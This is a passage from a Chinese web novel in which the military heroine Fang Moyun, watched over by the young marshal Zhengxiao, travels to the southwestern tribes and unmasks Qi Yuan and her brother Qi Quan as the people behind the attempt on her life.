茉云晃过神才马上躲开了眼神，眼底顿时又恢复了倔强，一脸没好气的擦擦嘴巴，一副被欺负了但是暂时没办法还回去的不甘，这幅神情终于将正啸逗得嘴角微微上扬。
他一把抱起茉云放在床上，俯身看着她，茉云不满的瞪向他，可瞬间她眼神怔了半刻，因为她从正啸的眼底看到了无法克制的温柔，爱意还有欲望……
正啸凝视着茉云，眸底的情绪在翻腾，呼吸如此沉，可最终他咬牙强行闭上了双眼，深深吻了一下茉云的额头，温和的说道：“好好养伤！”
茉云轻轻闭上了眼睛，克制对于这家伙来说，真是轻车驾熟了，她安心的闭上了眼睛，正啸就睡在了茉云床边的躺椅上，准备今夜守着她。
茉云忽然又望向正啸，带有几分忿然，没好气地说道：“怎么？又劳您亲自看守，就这点信任感都没有吗？”
正啸无语的睁开眼睛，望向茉云，坦诚而直接地说道：“方茉云，我必须对你有一万分的信任，而你对我半分信任都没有，不是吗？”
茉云想了想，然后没好气的转过身，背对着他睡了过去，正啸也闭上了眼睛，也觉得疲惫至极，而且心中充满了无数未解的疑问，还有这些日子，不知道从何而来的忧虑一直紧紧地围绕自己，但无论如何……所幸至少这一刻，茉云依旧安稳地躺在自己身旁。
半夜之时，正啸起身想喝口水，他知道茉云容易被惊醒，起身很轻，谁知道茉云忽然伸出了手抓住了他，正啸望向她。
她连眼睛都没有睁开，忽然说道:“不要离开我身边！”
正啸又躺了下去，没有再起身，茉云顷刻又安稳的睡了过去。
直至第二日清晨东方破晓之时，正啸才起身给茉云盖好了被子，走出了营帐，茉云微微睁开了眼睛看向正啸的背影，深深吸了口气……
茉云吃了早餐，万莫就来扶着她去了正啸营帐，正啸下的令，茉云不去，他就自己来“请”，茉云拄着根伤员的拐杖进入正啸的营帐，一脸没好气的坐下，可是看着桌上新鲜的果子瞬间又舒心了几分。
这时老乐怔怔的跑了过来，坐在茉云对面看着他，眼中都是担忧的问道：“阿灰走了？”
茉云眼神顷刻中又透出了悲伤，看向老乐点点头。
“别伤心！”老乐看着茉云安慰道，“老影哥说了，日来日去，人生出什么都是常事，只要干了，就值得！”
茉云无语的咬着果子说道：“是日升日落，人来人去，都是常事，人活一世，只要干了要干的事，就是值了！ ”
老乐看着茉云傻笑着点点
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头，茉云望向他亦温和的笑了，似乎透着一丝浅浅地释怀的说道：“阿灰这一生也算值了……对了，说来，你那些哭天抢地的家人呢？”
威行笑着指着老乐解释，说道：“他不乐意她们老是说你坏话，把他们赶走了！元帅就说让他们先回京修养，老乐在这儿等着白神医回来为他医治，再送回家里修养！”
茉云则点点头，看向老乐缓缓说道：“嗯，不言说白神医就快回来了，他肯定能治好你的病！”
老乐一脸不知所谓的看着茉云，傻笑着吃着果子，然后踹了两个在兜里。
“老乐，其实你永远失忆也不是坏事！”茉云看着老乐叹息着说道，“因为不知道是谁将你害成这样……你永远不想起，就不会痛苦，一直是这样无忧无虑！看看他们，都多累啊！”
老乐压根听不懂茉云话中之意，吃得口水掉了下来，用袖子一个劲的擦着嘴。正啸坐在案几后听着诸将汇报军务，不时看过来望向茉云，微微皱眉……
忽然间，营帐的门帘被掀开，元帅和魏副帅、周总教头走了进来，紧随其后的是震北将军和东山。看震北将军的眼神，显然是元帅和魏副帅有事与正啸商量。沧海和其他几位随即站起，准备告退，却被元帅的手势止住。
“都别走，正好咱们一起议议此事。”
众人见状纷纷坐下，正啸也旋即站起身，将座位让给了元帅。
元帅素来直接，他目光扫过在场的每一个人.开门见山的说道：“茉云此事，大家什么想法？”
威行抢先开口，接过元帅的话，便说道：“当然是让他们把人给交出来啊！”
周总教头顿时不满地瞪了威行一眼，语气带着怒气地骂道：“就你嘴快，你见到了是部落中人吗？你有证据吗？人家承认了吗？”
威行没好气地怼回去：“这是在西南，他们还敢否认吗？难道是峑戎吗？他们要杀茉云，难道还要蒙面？”
魏副帅皱眉，不禁打断道：“威行，你别冲动，盟书才刚刚签订，我们处事要谨慎，不能给人留下撕毁联盟的口实！”
“而且，这次刺杀茉云，或许是私人恩怨。若因私废公，日后朝堂御史……？茉云，你自己怎么看？”周总教头叹着气，语气欲言又止地说道。
茉云抬起头，冷冷地看着众人，虽未言语，但眼中那股冷峻的神色，分明透出她内心决绝。不论他们说什么，自己都一定会亲自查清真相，绝不会放过凶手。
元帅思索着双眉紧皱，转头望向正啸问道：“少帅，你怎么看？”
“这件事，我一定要查明白。”正啸毫无迟疑地回答道。
众人愣了半刻，纷纷将目光投向正啸，没想到他如此斩钉截铁，好似完全未听见魏副帅和周总教头先前所言。
“父帅，若大军往前推进，那这些人便藏匿在我们后方！此事若不查清，这等诡诈异心，来日必会化成锋利的利剑，插向我们背脊，后果不堪设想。”
卢帅摸了摸胡子，决然地点点头，显然对正啸的话表示赞同。
周总教头看着正啸，略有疑虑：“那若只是私怨，并不是什么诡计呢？”
正啸顿时便忿然的说道“何为私怨？若有人一刀捅在我身，卢家军会坐视不管吗？”
威行立刻接过话，语气激烈的说道：“对啊，谁不知道茉云是卢家军的云麾将军？他们敢动她，谁借他们的胆？”
顿时诸位将军的神情亦是赞成正啸和威行的说法，元帅旋即一拍桌子，怒声道：“好，行军打仗，顾前顾后的还打什么仗！就这么定了，一查到底，绝不姑息！”
东山和执礼相视一眼，嘴角皆微微上扬，什么叫做若有人一刀捅在少帅身？这不就是人一刀捅在他心上吗？他怎么可能放过他们。
291.纵她
秋日暖阳透过帐篷的缝隙洒进正啸的营帐中，帐内的气氛虽然平静，但透出军中严肃而坚定的气势。众人此刻都赞成正啸所言，绝不姑息此等阴暗之诡计。
元帅的目光转向茉云，眼神中带着几分深思，问道：“茉云，你打算如何查？”
茉云抬目望向元帅，从容不迫的回应道：“元帅，请派几位将军带些人马，随我去西南部落，我自会查明真相。”
元帅微微点了点头，显然对她的果敢赞许有加：“好，茉云查案是一把好手。那你要带谁去？”
茉云目光扫过周围的众人，淡淡说道：“那可否有劳沧海哥带人跟我走一趟，还有润吉和石川。”
元帅闻言立刻点头，神色间带着认同：“好，沧海你多带些人马，随茉云走一趟。”
“是。”沧海立刻起身接令道。
而威行此时显然对于茉云点的将有些不满，望向茉云指着自己说：“为何不带我去？你选人的标准是什么？”
茉云的眼神瞬间锋利了几分，语气冷淡而直白地说道：“身手和身材，部落中人崇拜蛮力，欺软怕硬，而某些人瘦得跟杆似的！”
顿时众人忍俊不禁，威行则哑口无言，愤愤然地瞪向旁边忍笑的鹿里。
鹿里见状，嘴角扬起一抹戏谑的笑意，小声说道：“自讨没趣吧。”
元帅则随即抬手指着正啸，语气中带着几分命令的口气：“那啸儿，你也陪茉云走一趟。”
“不用！”茉云几乎是元帅话音刚落，便毫不客气地拒绝道。她的语气虽平静，但那股坚定拒绝的气势，顿时让众人都望向她。执礼却望向正啸的表情，忍不住再和东山对视一眼，两人眼角不自觉地带上一抹难忍的笑意。
元帅有些疑惑地看向茉云：“为何？这军中啸儿身手不差吧？”
茉云随即望向元帅，极其坦荡地直言道：“近日部落中人老在背后说我和少帅有私。所以，如果少帅亲自带队帮我去找他们麻烦，必然会引起诸多不必要的非议，有损少帅的威名。”
“岂有此理！”元帅顿时双眉紧皱带着几分不悦。
魏副帅则在一旁，语气带着几分不屑的说道：“无中生有，有道是君子坦荡荡，小人常戚戚，咱根本无需理会他们。”
茉云一脸觉之有理的点点头，执礼和东山又对视一眼，两人的神情更是透出难以压抑的笑意。正啸的脸上却露出了一丝无语的神情望向她，茉云则故意躲开了他的目光。
“既然如此，那就按茉云的意思，尽快查明真相！”元帅叹了一口气带着几分无奈地说，转头看向茉云又关切的嘱咐道，“还有要注意自身安全，不可有任何闪失。”
茉云旋即一脸乖巧地点头说道：“好的，元帅，您放心。”
夜幕降临时，正啸让人传了沧海来他营帐，低声叮嘱道：“你明日去看着她点。”
沧海顿时面露难色看向正啸，眼中都是犹豫，自己还能看得住茉云那丫头？
正啸眼神锐利地扫向他，素来自己与沧海行事都是相当默契的，一个眼神他就能明白，可此时的沧海明显很迟疑躲闪。
片刻沉默后，沧海终于开口，带着一丝无奈说道：“少帅，要不您亲自去？”
“我要能去，我找你来！”正啸顿时忿然低声骂道。
执礼在一旁忍着笑，立即出声调解道：“少主，您放心，沧海将军定然会见机行事的。再者西南部落众人与茉云关系匪浅，沧海将军又带着人马随行，应该不会有大碍。”
正啸轻轻叹了一口气，尽管执礼如此说，但正啸也不知为何，自己心中如此忧虑。
夜深，正啸放轻了步伐，走进了茉云的营帐。帐内，茉云还未睡，静静坐在床榻上，眼神有些迷惘，似乎在思索着什么，略显遥远的目光，仿佛在穿越这片宁静的夜色。
直到正啸的脚步声靠近，她才抬起头，眼中一瞬的惊诧后，神情随即恢复了平静。她看向他，解释道：“明日要去西南部落查此事了，有些心神不宁。”
正啸微微俯身凝视着她，她眼底分明深深的埋藏着什么，然而，他最终欲言又止，温和地说道：“那就早些歇息，我今晚会守在这里。”
茉云听后，轻轻点头，却未再多言。夜更深，帐内悄然无声，正啸每此稍有动作，茉云便会微微颤动，似乎被惊醒。他心中一紧，伸出手轻轻地握住了茉云的手腕，茉云这才安稳地沉入梦乡，呼吸渐渐平稳。
营帐内一片寂静，帐外秋雨淅淅沥沥，正啸睡在了躺椅上，守护着她安眠，可他心中的不安从未消散……
翌日清晨，东方破晓，正啸便早早起身，轻手轻脚地移开了床榻旁的躺椅，因为茉云脚上有伤，怕躺椅磕碰到她，然后转身出营准备去巡视清晨的操练。
然而就在这一刻，茉云猛地从床榻上起身，忽然冲向他，毫无预兆地从背后将他紧紧抱住，正啸顿时微微一愣，微微侧头望向她。
茉云松开手，抬起头对他笑着道：“没事，清晨寒，取取暖，你去吧。”
她的话语如此平静，笑意亦温暖，正啸看着她，最终点点头，转身走出了营帐，可他清楚茉云定然有心中有事，却终究没有开口问她。他知道，她也不想说。
日上之时，晨曦的微光洒在营地上，空气中还残留着一丝夜雨后的湿润清凉。茉云一行人整装待发，沧海、润吉、石川以及随行的士兵们已然准备就绪，马匹轻轻喷着鼻息，静静等待着他们的主人上马。
正啸站在营帐前，目光深沉地望向队伍，直到他注意到队伍的最前方——竟然是魏副帅亲自带队。正啸眉头微蹙，立刻看向一旁的周总教头，目光中透着一丝疑问。
周总教头见状，解释道：“昨夜茉云亲自去求了元帅，她说此事事关邦交，还是由一位德高望重的统帅领队为妥。元帅权衡后，觉得让魏副帅随行最好。他在西部驻守多年，名声足以震慑西南诸部，可避免不必要的争端。我也觉得好，免得茉云到时候乱来。”
正啸闻言，目光微微一沉，担忧地望向即将出发的队伍，心中莫名泛起一丝不安，却只能默默注视着她远去。
待他转身回营之时，执礼亦是沉思着跟随着，刚入营帐便听营帐外来报，说巡抚大人来了，若辰还未来得及去元帅营帐，便先来了正啸营帐，入营之时便听见执礼之言。
执礼眼中略微不安地说道：“少主，茉云可曾跟您说过，她此行如何查吗？我隐隐觉之有些忐忑！而她这几日的平静和乖巧也甚为蹊跷！总觉得此事绝非一般？”
“你感觉没错！”正啸没有丝毫表情的拿起案几上的军务公文说道。
执礼顿时错愕地说道：“那少主您为何让她去，那可是刚刚签订盟书的西北友盟，您知道这是在干什么吗？您……”
“在纵容她！”正啸顿时没好气的看向执礼，打断了他的话，“怎么了！”
执礼瞬间愣在原地看向正啸，若辰则边走入营帐，边笑着调侃地评价道：“说得好！不愧是少帅！”
“行，您乐意就好，您说什么是什么！”执礼顷刻亦被逗笑了说道。
若辰则笑着轻轻拿起茶壶，给自己倒着茶，宽慰道：“也无需太过担心，茉云素来知道自己在干什么，即便闯祸自己也能圆回来！”
“对，圆不回来的时候，也有我家少主兜着！”
正啸再也懒得搭理他们，继续看向手中的军务，可眼中却隐隐闪过一丝无可奈何和担忧。
此时，西南部落特意在
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今日召开了部落会盟，他们自然对此事极为重视，所有西南部落的部落主和主帅们都齐聚日升。这两日奇能和正奇亦是将西南草原和戈壁都翻了过来，到处找着杀手。
会盟大帐内，人声鼎沸气氛凝重。卢家军一行人一到，日升部落的老部落主便快步上前迎了魏副帅。
老部落主边走边声音沉稳而严肃的说：“魏副帅，沧海将军，茉云，这两日，我们西南部落已经全力查明了此事，并成功逮住了一名刺客。此人虽至今一言不发，但他的身份已然说明了一切——他是韦达部落之人。”
此话一出，卢家军中人都看向老部落主，他们这么快就查出来了？大帐内，部落众人皆面露凝重，气氛肃穆。
日升部落老部落主继续说道：“这韦达部落与茉云将军是有点旧怨。但无论如何，按照盟约，此事韦达已然触犯盟规，我们西南诸部落商议决定以毁坏盟约之大罪，押解韦达部落的少部落主西今，交由卢家军处置。”
众人皆知，这韦达部落和茉云之间，岂止是有点旧怨，说是有深仇大恨也不为过，他们要害茉云于情于理都说得过去，而且现在抓到的杀手就是韦达部落中人，百口莫辩。
然而话音未落，忽然，一道身影从人群中冲出，直接跪在茉云的面前。茉云定睛一看，来人是雨燃，她眼神坚定的望向茉云，声音却颤抖着哀求道：“茉云姐，求求你放过西今！我们绝对没有做……”
“够了，我何须你为我求情？”西今站在人群之中，神情冷峻，眼中却没有丝毫畏惧，甚至连一眼都未曾看向雨燃，冷漠的继续说道，“我绝不会求她，而你又有什么资格，能替我求情？”
雨燃的脸色微微一白，但她依旧倔强地跪在地上，泪水夺眶而出滑落脸颊。她的父亲在得知韦达部落竟派人刺杀茉云后，愤然当场宣布毁婚约，本应在明日举行的大婚就此化为泡影。而且此刻，西今命在旦夕……
可她丝毫不顾自己的处境，拉着茉云喊道：“茉云姐，西今是为了韦达部落的老幼族人不被驱逐出西南草原，才主动领罪的。我求求你，他不可能派人杀你！明日原本是我两大婚之日，他跟我说，他已然下定决心放下过往，只想与我成婚，过上平静的日子，让韦达部落重新好起来。茉云姐求求你相信我！”
说着雨燃就狠狠像茉云磕了一头，声音之响全营都可听见，茉云俯身看向雨燃，她的眼中还充满了对西今的信任与不舍。
西今看向跪在地上的将头磕得砰砰响的雨燃，眼中微微闪过一丝不忍，但很快这一抹温情被他迅速压下，取而代之的是一抹坚硬的刚强。
他的手掌微微握紧，面色冷峻却挺直了脊背，四周各个部落的首领和战士们纷纷指责韦达部落，说他们背信弃义，试图破坏盟约，不配留在西南草原。
茉云冷然抬手，将跪地的雨燃一把拎起，制止了她继续磕头的举动。她的目光如同寒戾的疾风，扫过营帐内的西南部落众人。那一瞬间，她眼神犀利得好似带着一股深深的冰冷。
真是好一出大戏啊，这些曾经与自己同生共死的兄弟，收留自己、教授自己的恩人，还有那些自己也曾为之两肋插刀，舍命相救的朋友，此刻都站在自己的面前。人人心中都有个算盘，各怀鬼胎，而草原上自己最纯粹的朋友阿灰，却离开了……
剩下世间的背叛与虚伪在这一刻都汇聚在她心头，令人心疼的痛楚化作一股无法言喻的愤怒，狠狠压在她的胸口。茉云的眼神此时闪过一丝红光，带着几分绝望与悲凉，渐渐变得深沉——人心之恶啊，禽兽不如。
忽然，茉云唇边渐渐勾起一抹冷冽的笑容，笑意中没有丝毫的温暖，只有深深的寒戾与从容。因为她忽然觉之庆幸，她方茉云此生，最不畏惧的就是恶。
292.迷雾
营帐内弥漫着一股沉重的气氛，帐内的西南部落众人，每个人的脸上都写满了深思与不安，好似此刻的茉云的沉默和笑意都是一种无法言喻的压力。
只有雨燃的眼泪止不住地滑落，满脸焦急地喊道：“茉云姐，怎么可能因为一个什么都不肯说的杀手，就认定是韦达部落干的？这太不公平了！”
茉云微微抬目，视线落在那个被押解在一旁的杀手。那人浑身伤痕累累，显然已经遭受了严酷的拷问，可即便如此，他依旧闭口不言，目光空洞而死寂，好似早已心如死灰。
雨燃的父亲这时忍无可忍，猛然走上前，一把将她强行拽起，怒吼道：“你清醒点！你可知道自己在做什么？”
他的眼神满是愤怒与失望，雨生部落一向刚强，他怎么能接受自己女儿，为了一个罪人如此不顾一切哀求。
然而，雨燃根本不愿听从，她狠狠挣脱了父亲的手，几乎是又爬到茉云面前，紧紧抓住她的衣襟，泪流满面地吼道：“茉云姐，我愿与西今和韦达部落同罪，只求你给他们一个机会，查明真相！”
西今顿时吃惊的看向雨燃，眼中微微闪过一丝红润。而雨燃的声音随着哭声在颤抖，却异常坚定，没有丝毫彷徨，她心中早已将自己的命运与西今绑在了一起。
此刻，人群中走来一女子，温婉的看向雨燃说道：“雨燃，茉云一直待你这般好，你怎好如此置她于两难？”
茉云抬目看过去，说话之人是正奇的妻子——齐沅，她的目光深邃，透着一丝对雨燃的惋惜。
雨燃深吸了一口气，眼神挣扎地望向茉云，而茉云则风轻云淡地坐了下来，目光平静地望着她，缓缓说道：“站起来。”
雨燃摇了摇头，眼中依旧满是不甘，手也没有松开茉云的衣襟，只因这是她最后能坚持的了。
茉云望向雨燃，声音不疾不徐，却透着几分凌厉：“能与韦达部落和丈夫同进退是好事。胡搅蛮缠，以命相保，倒也算是个法子。可惜，你小命只有一条。若真要做韦达部落未来的大夫人，你还是得长点能耐，站起来！”
雨燃怔住了，整个人马上站了起来，好似被茉云的气势震住。
茉云的眼神骤然变冷，目光一扫全场，透出深深的狠厉，声音微微压低，却带着一股让人不寒而栗的肃杀之气：“要知道，部落的未来大夫人，个个都要是狠角色！”
这一句话，让整个会盟大帐陷入了短暂的沉寂。她似乎话里有话……
茉云则冷冷地望向西今，目光好似直刺他心灵深处的问：“你觉得，若你死了，你的族人会有什么未来？”
西今抬头与她对视，不卑不亢地忿然说道：“让我死可以，难道还不能放过我的族人吗？不论西洳当年如何害你，族中老幼毫不知情，何以要赶尽杀绝！你们汉人不是有句话，叫做人在做，天在看！”
在场之人，都能感受到他言语中的沉重与悲愤，不由得心中生出几分钦佩，他到了最后一刻还只想为族中老幼留一条生路，连雨燃的父亲亦抬目望向他。
茉云的嘴角忽然勾起一抹笑意，那笑容冷冽而清醒，却令人视之不寒而栗：“嗯，你也算条汉子。可你两属实单纯，在这草原和戈壁之上，失去庇护者的老幼，不论是人或动物，又有谁能过得上好日子，还不是任人宰割？”
西今愣了一下，他的眼神掠过一丝异样，似乎是在思索茉云话语中的深意。
茉云的目光缓缓转向那位被押解的杀手，眼中闪过一丝冷漠的洞察，说道“那你又是如何被他们胁迫的，居然能逼迫你背叛全族，出来承担这场罪名。”
那本已心如死灰的杀手，忽然目光微微有些震动，似乎被茉云的话触动。
周围的众人也都吃惊地望向茉云，茉云的语气如此平淡，但她话里话外似乎早已胸有成竹，事情好似远非表面这般简单，她的目光在众人之间轻轻掠过，也好似看穿了这场游戏的迷雾，直指所有人心底的阴暗。
茉云的眼神最终停留在了正奇的身上，片刻的沉默后，她忽然开口，声音清冷的问道：“你小舅子齐权呢？他不是最喜欢热闹了吗？”
正奇顿时感到一丝不安，他转头望向两旁，似乎在寻找什么。齐沅见状，马上开口解释道：“他偶然风寒，现在躺在榻上。不然一定会来见你。”
茉云浅浅一笑，笑容中带着几分冷冽：“那就不好意思了，正奇部落离得也不远，我已派人去将他请来了。”
她的语气轻松，却给人一种无形的压迫感。正奇却愣了一下，目光中透出一丝警觉看向齐沅，而齐沅显然没有预料到茉云会如此直接。
就在这时，小马和太易押着齐权来了，气氛瞬间凝固。旁边还跟着王强，几人一同走进来，周围的目光瞬间转向了踉踉跄跄被押来的齐权。
王强愤怒地一把扯下齐权的面罩，小马将他往场中一踹，众人不禁发现齐权的脖子上和脸上，清晰可见几道深深的血痕，几乎刻入了皮肉之中。
“这是不是狼弄伤的？”茉云轻轻地看向他的脸，挑眉问道。
霎时，众人议论纷纷，空气中弥漫着震惊与疑惑的气息。正奇的眼睛瞪得大大的，显然无法相信眼前的一切。
齐沅立即走向齐权走去，语气镇定地说道：“齐权，你这是怎么回事？你跟我说是偶感风寒，从马上跌下所致？你到底怎么伤的。”
齐权却依旧面无表情，冷冷地回应道：“就是偶感风寒，头晕目眩，从马上跌下擦伤的，当时在场之人皆可作证。”
茉云的嘴角瞬间勾起一抹冷冽的笑容，那笑容中带着几分令人心寒的凛冽，声音如寒风般刺骨：“齐沅，你两跟我方茉云来这一套，你觉得我今日还会放过你们姐弟吗？来啊，将他们给我押下？”
“是！”顿时卢家军将士众人齐声应和，声音震天，如雷霆万钧般压迫着每个人的心头，气氛顿时紧张起来。
就在此时，正奇部落的老将领布孟忽然忿然发声：“茉云将军，仅凭一伤痕，你就要拿下我正奇部落的大夫人和其弟？而且齐权染上风寒从马上跌下，这草原上看到的人多了，这些日子他一直在帐内休息，根本没有出营帐。”
茉云则冷冷一笑，声音依旧如寒冰般锋利：“所以，我带回去问问嘛。”
正奇部落的老部落主见状，怒不可遏地说道：“那我正奇部落日后在这西南草原戈壁上，还有何颜面！”
茉云挑了挑眉，脸上露出一丝轻蔑的笑容：“老部落主，当日你强迫正奇娶齐沅，本想将她亡族的这队人马收归你部落所用，没想到今日之下场吗？”
齐沅的眼神瞬间变得冷静，她的脸上不再是以往的温婉与大度，取而代之的是一股寒意，她冷冷地望向茉云，语气里不再有任何温情：“爹，方茉云昔日在部落便蛮横，且平素看我不惯。如今她带着军队回到草原，仗势欺人，又怎会放过我？”
正奇部落的老部落主听到这话，顿时拍案而起，声音如雷霆般怒吼道：“岂有此理！我正奇部落岂是任人欺辱的！这是西南部落，不是你们的朝廷！”
茉云眼中透出一丝微微叹息，看向正奇：“你可知情？”
正奇似乎还未完全晃过神来，他顿了顿望向茉云说道：“茉云，你……要么拿出证据
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，要么……我正奇部落也绝不会容人这般羞辱。”
此时，正奇的老部落主再度转向魏副帅，语气愈加激烈：“魏副帅，盟约刚签，难道你们卢家军就是这样在西南部落为所欲为？”
魏副帅微微皱眉看向他们，他心中觉之不妥，但是元帅一再叮嘱自己少言，所以他也未做应答。
而正奇老部落主愤怒的声音继续在营帐内回荡：“西南部落诸位兄弟，难道我们西南部落就这般任人宰割？”
可他话音未落，忽然间沧海气势如山的声音瞬间传遍全场，如同雷鸣般震撼：“少帅有令，无论是谁，勾结敌寇，刺杀我军重要将领，视同毁坏西南盟约，若不悔过，交出恶贼，卢家军必将其部落清缴之！”
随之而来的，是卢家军众将士们齐齐握紧刀柄，声势浩荡，震撼全场，气氛瞬间紧张至极。
“来人啊，听方将军令，将这两人押解回营！”沧海冷冷的下令道。
“是！”
魏副帅愣了半刻看向沧海，而茉云则微微一愣，她的目光掠过沧海，冷静的同时又带着几分意外。
太易则轻轻笑了笑，低声跟身旁的王强说道：“看见没，从中州始，不论咱头捅多大的篓子，咱们少帅都会给她顶着。”
“对，就少帅能训她，平常人动她一根头发试试！”小马亦接过话笑着说道。
茉云猛然侧头没好气地瞪了他们三一眼，他们三则忍着笑不说话了。
此时，润吉接令已经迅速带人上前，令气氛瞬间变得压抑而紧张。正奇部落众人几乎不假思索地拔刀出鞘，刀刃顷刻闪烁着冷冽的寒光。
然而，西南部落的其他人则无一人敢上前。营帐内的气氛变得愈发凝重，战火好似即将撕裂这片沉寂，周遭的紧张感几乎能让人窒息。
就在此时，奇能一把拉住了正奇握刀之手，语气急促却带着几分劝解：“茉云，兄弟朋友一场，说个缘由又能如何？何必如此？”
茉云微微抬头望向奇能，眼中闪过一丝欣慰，但更多的依旧是冷冽的决绝。
正当这时，营帐的帘子被轻轻掀起，一位满面沧桑的老人走了进来。众人看到那人，顿时露出几分敬意。那人便是老影——西南部落曾经的战神，在草原和戈壁上都威名赫赫。
“呦！我当是谁呢！前些日子灰溜溜回来一趟，感叹自己混得不好，瞧瞧如今那嘚瑟的样子！”老影笑着走进来，语气中带着几分打趣，却不失其豪气，他一脸轻松地对着日升老部落主行了个礼，日升老部落主也微微向他点了下头。
茉云看到老影的身影，眼神顿时柔和了几分，亦含着尊敬的说道：“您来了！”
老影点点头，轻轻又叹了口气，声音低沉却温和的宽慰茉云道：“丫头啊，阿灰那家伙，我也跟你说了，他也是时候了，这般走得悲壮，这一生也算是精彩！”
茉云的脸上没有太多表情，眼底却涌起一股无法言喻的情绪，她深吸了一口气说道：“我能接受天道，但不能纵容恶，草原和戈壁上总说一报还一报，这点规矩我还是要讲的！”
老影拄着他的赶羊棍，望向茉云那坚定如铁的眼神，点点头笑着说道：“倒也是有理，那你就跟这些昔日的长辈和兄弟们，说个缘由吧，也不好留个名声，真如你们那位少帅说的，得志便猖狂吧！”
“好，您既然都说了，这个面子我要给的！”茉云抬起手，顿时润吉等人便撤了下来，战回了茉云身后。
所有人似乎都轻轻的松了口气，纷纷望向茉云，目光或震惊，或钦佩，或沉思，但所有人都意识到，此刻她将决定所有的走向……
293.遇对
只有老影依然是一副风轻云淡的神情，大手一挥道：“诶，言重了，我就一个放羊老头！”
茉云缓缓从身上取出了一个绣有部落图腾的布囊，上面绣的图腾大家一看便知，是齐沅和齐权已经亡了的部落图腾，齐权的眼神中顿时闪过一丝仓皇地异样，他不见的布囊居然在茉云的手中……
“这上面绣着你齐权的大名吧！”茉云抬手晃了晃便丢给了老影说道：“劳您看看，上面有什么血！”
老影抬手就接过那布囊眯着眼睛，闻了闻，然后看着齐权说道：“你这袋子上面，为何会有新鲜狼血！”
顿时正奇愣在了原地，而齐权的脸上闪过一丝惊慌看向齐沅，齐沅则一脸镇定的说道：“欲加之罪何患无辞，偷了我弟之物，然后弄点狼血上去就栽赃了？”
“你们不是说他好几日都没有出帐篷，她去哪儿偷？”奇能顿时望向齐沅说道，“去他帐内当着他面偷？”
“奇能，我弟的这布囊已经失踪好些日子了！”齐沅吃惊的望向奇能说道，“难道连你也怀疑嫂子和齐权吗？难道你没有发觉方茉云一来，日升部落乃至整个西南部落就鸡犬不宁吗？”
整个帐内所有的西南部落中人都开始窃窃私语，一时谁也无法辩明这是非曲直。
而此时，正奇却忽然缓缓转头，将目光转向齐权，眼中闪过深深的质疑：“齐权，那日围猎时，你从马背上掉下，我明明看见你身上还挂着这布囊。”
正奇地话音落下，所有人的目光瞬间集中在齐权身上，空气中弥漫着紧张的气息。齐沅愣了半刻，随即咬牙望向正奇，眼中充满了不解。而齐权连呼吸都变得急促几分，紧握了拳头。
正奇瞪向齐权，眼神如刀般锋利，语气更加严厉：“告诉我实话，我知道这布囊是你娘绣的，你姐弟都绝不可能轻易乱丢，怎么会出现在茉云手中？为何上面还有狼血？告诉我！”
话音落下，正奇部落的老部落主和族人们的脸上写满了震惊与困惑，随即低声议论开来，说齐权这些日子闷在帐篷中不曾现身，确实也可以，看他这样子也不像是风寒……
齐权站在那里，咬紧牙关，却一言不发。他姐齐沅则握紧拳头，整个人几乎在剧烈的愤怒中颤抖，脸上的肌肉紧绷，看得出她已快无法抑制内心的怒火。
“你说话啊！”正奇忿然吼道。
齐沅再也无法隐忍，怒不可遏地转向正奇，低吼道：“他是我弟，是你妹夫，是正奇部落战功卓著的将军，是你的家人！你居然为了一个外人怀疑他？”
她瞪大了眼睛死死盯着正奇，话语中充满了愤怒和失望，无论如何她都无法理解正奇为何会当众怀疑和戳穿自己的亲弟，她用眼神在警示正奇，莫在如此险境置他弟和正奇部落于死地。
正奇完全没有理解和在意她的眼神，愤怒地追问道：“我就问你，是不是你弟！你为什么不回答，要藏着掖着？”
齐沅的怒火彻底爆发，她几乎是用尽全身力气吼道：“你是想害死齐权？毁了整个部落吗？就因为方茉云这个贱人！”
她怒吼之声，震得营帐内每个人都为之一颤。正奇的脸色变得铁青，愤怒几乎让他失去理智，抬手一巴掌将齐沅扇到了地上。
“她是我兄弟，她还曾经救过我的命！她当日待你们姐弟亦不薄，齐权为什么要杀她！”他的声音充满了不可置信与怒火。
“你问我为什么？那我问你一句，凭什么草原她说的算？凭什么她一句话，你们就放过已经快踩死的韦达部落？凭什么她一句话，你妹妹和日升部落的联姻就被废？凭什么她就可以玩弄你们在掌心！”
“她是我们从小到大可两肋插刀的兄弟，而你这般诡诈，我就知道你非要鼓动小妹嫁给奇能，说是什么成全我们兄弟之情，原来果真都是你这贱人的诡计！”
齐沅听到此，再也忍不住内心的激烈情绪，几乎是歇斯底里地吼道：“我做这一切，都是为了正奇部落！为了你！这个贱人她就该死！”
她的话语中透着绝望，仿佛所有的忍耐与委屈一瞬间都爆发了。可营帐内的所有人都吃惊地看向齐沅。没有人想到，这样的话会从美名誉满西南的正奇少部落主夫人的嘴里说出来，更没有想到……要杀茉云之人是她昔日的好友齐沅齐权两兄弟。
众人自然不解，他们姐弟为何要杀茉云？她们曾经不是好友吗？茉云昔日素来对他们姐弟甚为照顾，除了当年茉云不太支持齐沅嫁给正奇之外，两人本无任何矛盾和冲突。
正奇部落的族人们更是目瞪口呆，难以置信地看向齐沅，空气仿佛都在这一刻凝固了。
老影此时才终于松了口气，他随手将布囊丢到场中，轻声叹了口气，仿佛一块大石从心头落下。
而齐权不顾一切的冲过去捡起了布囊，珍惜的放在了自己额前，忽然他又看着布囊，闻了闻，忿然大声喊道：“这根本就不是狼血！你们陷害我！”
齐沅的瞬间意识到自己被卷入了方茉云的算计之中。她转过头，气急败坏地瞪着茉云，愤怒几乎让他失去了理智，冲过来，喊道：“你这个贱人，我要杀了你！”
然而，润吉上前，抬手便迅速将齐沅一把按住，将她押解。
齐沅顿时暴怒而恶狠地瞪着茉云，仿佛想将茉云生吞活剥。那双眼睛里，似乎藏着这世上最深的怨恨，令人视之便觉不寒而栗：“方茉云，我就是做了恶鬼，也不会放过你！”
“想知道我为何知道是你和你弟吗？”茉云冷冷地望向齐沅，眼神冰冷透着一丝深深的嘲讽，“昔日老影教我骑马时，不肯教我一眼便知千里马之术，老说师傅教徒弟，要留一手，不然教会徒弟饿死师傅。”
老影想着昔日之事被逗乐了点点头，那时候茉云这小丫头可难应付了。
“齐权，你的箭，我教的。那个时候你身材矮小，握不稳弓，我就给你在弓上握食指之处刀刻了一条线，让你拿弓时，迅速找到位置。没想到，这个习惯你沿用至今，竟成为我留的一手。”她的眼神渐渐锐利，像是一把锋利的刀，“那日要杀我之人，弓的食指处，正好有一道刀印，我一眼便知是你。”
齐权终于开口了，语气冷冽的问道“那你为何不当场识破我？”
